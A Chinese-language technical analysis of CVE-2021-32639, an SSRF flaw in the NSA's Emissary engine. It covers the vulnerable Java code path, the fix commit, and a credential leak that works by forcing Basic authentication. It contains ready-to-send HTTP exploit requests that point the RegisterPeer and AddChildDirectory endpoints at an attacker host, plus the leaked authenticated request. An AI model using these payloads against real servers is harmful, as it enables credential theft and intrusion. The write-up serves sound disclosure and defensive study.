分析Emissary 的SSRF漏洞(CVE-2021-32639)
字数 1316 2025-08-05 08:19:38
Emissary SSRF漏洞分析(CVE-2021-32639) 技术文档
1. 漏洞概述
CVE-2021-32639是NSA项目Emissary中存在的一个服务器端请求伪造(SSRF)漏洞,影响RegisterPeerActionREST端点和AddChildDirectoryAction端点。攻击者可以利用此漏洞诱使服务器向攻击者控制的服务器发送请求,包括带有认证凭据的请求。
2. Emissary项目简介
Emissary是NSA开发的一个基于P2P的数据驱动工作流引擎,运行在异构的、可能广泛分散的、多层的P2P计算资源网络中。其特点包括:
- 工作流不是预先计划的,而是随着数据信息的发现而动态确定
- 通常没有用户交互,以面向目标的方式处理数据直到完成状态
- 高度可配置,基本实现几乎不做任何操作
- 用户需提供扩展
emissary.place.ServiceProviderPlace的类来执行工作
工作流管理分为多个阶段:STUDY、ID、COORDINATE、TRANSFORM、ANALYZE、IO、REVIEW。
3. 漏洞细节
3.1 触发点1 - RegisterPeerAction端点
漏洞利用方式:
POST /emissary/RegisterPeer.action? HTTP/1.1
Host: localhost:8001
Content-Type: application/x-www-form-urlencoded
directoryName=foo.bar.baz.http://attacker:9999/&targetDir=http://localhost:8001/DirectoryPlace
影响:
- 发送多个请求到攻击者控制的服务器
- 部分请求未经认证(如Heartbeat.action)
- 部分请求带有认证凭据(如RegisterPeer.action)
认证请求示例:
POST /emissary/RegisterPeer.action HTTP/1.1
Content-Length: 196
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Host: attacker:9999
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.5.1 (Java/1.8.0_242)
Accept-Encoding: gzip,deflate
targetDir=http%3A%2F%2Fattacker%3A9999%2FDirectoryPlace&directoryName=EMISSARY_DIRECTORY_SERVICES.DIRECTORY.STUDY.http%3A%2F%2Flocalhost%3A8001%2FDirectoryPlace
3.2 触发点2 - AddChildDirectoryAction端点
漏洞利用方式:
POST /emissary/AddChildDirectory.action HTTP/1.1
Host: localhost:8001
x-requested-by:
Content-Type: application/x-www-form-urlencoded
directoryName=foo.bar.baz.http://attacker:9999/&targetDir=http://localhost:8001/DirectoryPlace
4. 漏洞分析
4.1 代码路径分析
- RegisterPeerAction端点处理:
@POST
@Path("/RegisterPeer.action")
@Consumes(MediaType.APPLICATION_FORM_URLENCODED)
@Produces(MediaType.APPLICATION_XML)
public Response registerPeerPost(@FormParam(DIRECTORY_NAME) String directoryName,
@FormParam(TARGET_DIRECTORY) String targetDirectory) {
if (StringUtils.isBlank(directoryName) || StringUtils.isBlank(targetDirectory)) {
return Response.serverError()
.entity("Bad Params: " + DIRECTORY_NAME + " - " + directoryName + ", " + TARGET_DIRECTORY + " - " + targetDirectory).build();
}
return processRegisterPeer(directoryName, targetDirectory);
}
- processRegisterPeer方法:
private Response processRegisterPeer(String peerKey, String dirName) {
final IRemoteDirectory dir = new IRemoteDirectory.Lookup().getLocalDirectory(dirName);
// ...
}
- getLocalDirectory方法:
public IRemoteDirectory getLocalDirectory(final String name) {
IDirectoryPlace dir = null;
try {
if (name != null) {
dir = (IDirectoryPlace) Namespace.lookup(name);
} else {
dir = DirectoryPlace.lookup();
}
} catch (emissary.core.EmissaryException ex) {
this.logger.debug("Could not find local directory " + name);
}
// ...
}
关键点:Namespace.lookup(name)会解析并请求传入的URL,导致SSRF漏洞。
4.2 认证凭据泄露机制
Emissary使用Apache HTTP客户端发送请求,其认证机制存在以下问题:
- 凭据从Jetty"用户领域"(user realm)读取
- 存储在凭据提供者(CRED_PROV)中
- 默认配置未指定认证方案,由服务器response决定
攻击者可构造恶意服务器要求"基本认证"(Basic Authentication),导致凭据以Base64编码形式泄露。
相关代码:
// 凭据设置代码
CredentialsProvider CRED_PROV = new BasicCredentialsProvider();
// ...
CLIENT = HttpClientBuilder.create().setDefaultCredentialsProvider(CRED_PROV).build();
5. 漏洞修复
NSA采取了以下修复措施:
- 修复SSRF问题,防止任意URL请求
- 强制使用"摘要认证"(Digest Authentication)方案,防止认证方法混淆
- 防止切换至基本认证导致凭据泄露
- 修复提交:https://github.com/NationalSecurityAgency/emissary/commit/79ca5608c4f77d9a5c8a4996e204377c158a6976
6. 总结
CVE-2021-32639展示了SSRF漏洞的多种潜在危害:
- 内部网络探测
- 服务端请求伪造
- 认证凭据泄露
- 认证方案降级攻击
该案例特别强调了SSRF漏洞在特定认证机制下的额外风险,以及强制使用安全认证方案的重要性。